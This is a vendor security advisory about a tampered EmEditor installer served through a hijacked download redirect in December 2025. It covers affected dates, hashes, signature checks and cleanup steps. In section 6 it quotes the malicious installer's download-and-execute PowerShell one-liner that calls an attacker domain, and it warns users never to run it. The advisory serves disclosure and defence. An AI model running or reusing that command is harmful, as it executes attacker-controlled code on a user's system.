EmEditor (Text Editor) emeditor.com
December 22, 2025/in General/by Yutaka Emura

We regret to inform you that we have identified an incident involving the EmEditor official website’s download path (the [Download Now] button), where unauthorized modification by a third party is suspected. During the affected period, the installer downloaded via that button may not have been the legitimate file provided by us (Emurasoft, Inc.).

We sincerely apologize for the concern and inconvenience this may cause. Please review the information below.

1. Potentially Affected Period
   Dec 19, 2025 18:39 – Dec 22, 2025 12:50 (U.S. Pacific Time)
   If you downloaded the installer from the [Download Now] button on the EmEditor homepage during this period, it is possible that a different file without our digital signature was downloaded. This is a conservative estimate, and in reality the affected period may have been narrower and limited to a specific timeframe.

2. Incident Summary (High-Level Cause)
   The [Download Now] button normally points to the following URL:

https://support.emeditor.com/en/downloads/latest/installer/64
This URL uses a redirect. However, during the affected period, the redirect settings appear to have been altered by a third party, resulting in downloads being served from the following (incorrect) URL:

https://www.emeditor.com/wp-content/uploads/filebase/emeditor-core/emed64_25.4.3.msi
This file was not created by Emurasoft, Inc., and it has already been removed.

As a result, we have confirmed that the downloaded file may be digitally signed not by us, but by another organization named WALSHAM INVESTMENTS LIMITED.

Note: This issue may not be limited to the English page and may affect similar URLs for other languages as well (including Japanese).

3. File Confirmed as Potentially Affected
   At this time, the only file confirmed to be involved is:

emed64_25.4.3.msi
Legitimate file (official)
File name: emed64_25.4.3.msi
Size: 80,376,832 bytes
Digital signature: Emurasoft, Inc.
SHA-256: e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e
Suspicious file (possible tampering)
File name: emed64_25.4.3.msi
Size: 80,380,416 bytes
Digital signature: WALSHAM INVESTMENTS LIMITED

4. Not Affected
   You are not affected if any of the following applies:

You updated via EmEditor’s Update Checker or through EmEditor’s automatic update
You downloaded directly from download.emeditor.info
Example: https://download.emeditor.info/emed64_25.4.3.msi
You downloaded a file other than emed64_25.4.3.msi
You used the portable version
You used the store app version
You installed/updated using winget
You downloaded the file but did not run/execute it

5. How to Check and What to Do
   If you may have downloaded the installer via [Download Now] during the affected period, please verify the digital signature and SHA-256 hash of the file emed64_25.4.3.msi.

5-1. How to check the Digital Signature (Windows)
Right-click the file (emed64_25.4.3.msi) and select Properties.
Open the Digital Signatures tab.
Confirm that the signer is Emurasoft, Inc.
If it shows WALSHAM INVESTMENTS LIMITED, the file may be malicious.
If the “Digital Signatures” tab is not shown, the file may be unsigned or the signature may not be recognized. In that case, do not run the file; delete it and follow the guidance below.

5-2. How to check SHA-256 (Windows / PowerShell)
Open PowerShell and run:

Get-FileHash .\emed64_25.4.3.msi -Algorithm SHA256
Confirm the output SHA-256 matches:

Legitimate SHA-256:
e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e
If the signature or SHA-256 does not match (Recommended actions)
If the digital signature is not Emurasoft, Inc. (e.g., it is WALSHAM INVESTMENTS LIMITED) or the SHA-256 does not match, you may have obtained a tampered file (potentially containing malware).

Immediately disconnect the affected computer from the network (wired/wireless)
Run a full malware scan on the system
Depending on the situation, consider refreshing/rebuilding the environment including the OS
Consider the possibility of credential exposure and change passwords used/stored on that device (and enable MFA where possible)
If you are using EmEditor in an organization, we also recommend contacting your internal security team (e.g., CSIRT) and preserving relevant logs where possible.

6. Observed Behavior (As Currently Confirmed)
   The suspicious installer may attempt to run the following command when executed. Do not run this command under any circumstances.

powershell.exe "irm emeditorjp.com | iex"
This command downloads and executes content from emeditorjp.com.
emeditorjp.com is not a domain managed by Emurasoft, Inc.

Please also note that the installer may still proceed to install EmEditor normally and install legitimate EmEditor program files, which could make the issue difficult to notice.

7. Current Status and Next Updates
   We are continuing to investigate the facts and determine the full scope of impact. We will provide updates on this page and/or through our official channels as soon as more information becomes available.
   We take this incident very seriously and will implement necessary measures to identify the cause and prevent recurrence.

We sincerely apologize again for the inconvenience and concern this may have caused, and we appreciate your understanding and continued support of EmEditor.